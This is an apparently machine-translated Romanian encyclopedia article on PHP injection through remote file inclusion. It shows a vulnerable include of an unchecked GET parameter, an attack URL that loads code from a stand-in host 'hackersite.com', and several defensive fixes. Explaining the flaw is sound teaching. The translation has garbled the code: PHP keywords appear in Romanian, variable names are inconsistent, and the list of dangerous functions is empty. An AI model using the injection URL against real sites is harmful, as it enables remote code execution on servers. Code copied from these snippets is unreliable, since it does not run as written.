Injecție PHP

Versiunea actuală a paginii nu a fost încă examinată de colaboratori experimentați și poate diferi semnificativ de versiunea revizuită la 1 decembrie 2020; verificările necesită 2 modificări .

PHP injection ( ing.  PHP injection ) este una dintre modalitățile de a pirata site-urile care rulează pe PHP , care constă în executarea de cod străin pe partea serverului. Funcțiile potențial periculoase sunt:

Injecția PHP devine posibilă dacă parametrii de intrare sunt acceptați și utilizați fără validare.

Exemplu

<? ... $modul = $_GET [ 'modul' ]; include ( $modul . '.php' ); ... ?>

Acest script este vulnerabil, deoarece „.php” este pur și simplu adăugat la conținutul variabilei , iar fișierul$module .php este inclus în calea primită .

Un atacator poate crea un fișier care conține cod PHP ( http://hackersite.com/inc.php) pe site-ul său, iar vizitând site-ul printr-un link, pare că ar http://mysite.com/index.php?module=http://hackersite.com/inc executa orice comenzi PHP.

Modalități de a proteja

Există mai multe modalități de a vă proteja împotriva unui astfel de atac:

  • Verificați dacă o variabilă conține $modulecaractere străine:
<? ... $modul = $_GET [ 'modul' ]; if ( strpbrk ( $modul , '.?/:' )) die ( 'Blocat' ); include $module . '.php' ; ... ?>
  • Verificați dacă $moduleuna dintre valorile permise este atribuită:
<? ... $modul = $_GET [ 'modul' ]; $arr = matrice ( 'principal' , 'despre' , 'linkuri' , 'forum' ); if ( ! in_array ( $modul , $arr )) $modul = $arr [ 0 ]; include $module . '.php' ; ... ?>

Această metodă este mai eficientă, mai frumoasă și mai îngrijită.

  • Scrieți fiecare valoare prin if
<? ... $modul = $_GET [ 'modul' ]; if ( $modul == 'principal' ) include 'main.php' ; if ( $modul == 'despre' ) include 'despre.php' ; if ( $modul == 'linkuri' ) include 'links.php' ; if ( $modul == 'forum' ) include 'forum.php' ; ... ?>
  • Utilizați declarația switch:
<? ... $modul = $_GET [ 'modul' ]; switch ( $modul ){ case 'despre' : case 'linkuri' : case 'forum' : include " { $modul } .php" ; rupe ; implicit : include 'main.php' ; } ... ?>

Această soluție este similară cu soluția if, dar are o notație mai compactă.

PHP oferă, de asemenea, posibilitatea de a dezactiva utilizarea fișierelor de la distanță, aceasta fiind implementată prin schimbarea valorii opțiunii allow_url_fopen la Off în fișierul de configurare a serverului php.ini.

Vulnerabilitatea descrisă reprezintă un pericol mare pentru site și autorii scripturilor PHP nu ar trebui să uite de ea.

Vezi și

Link -uri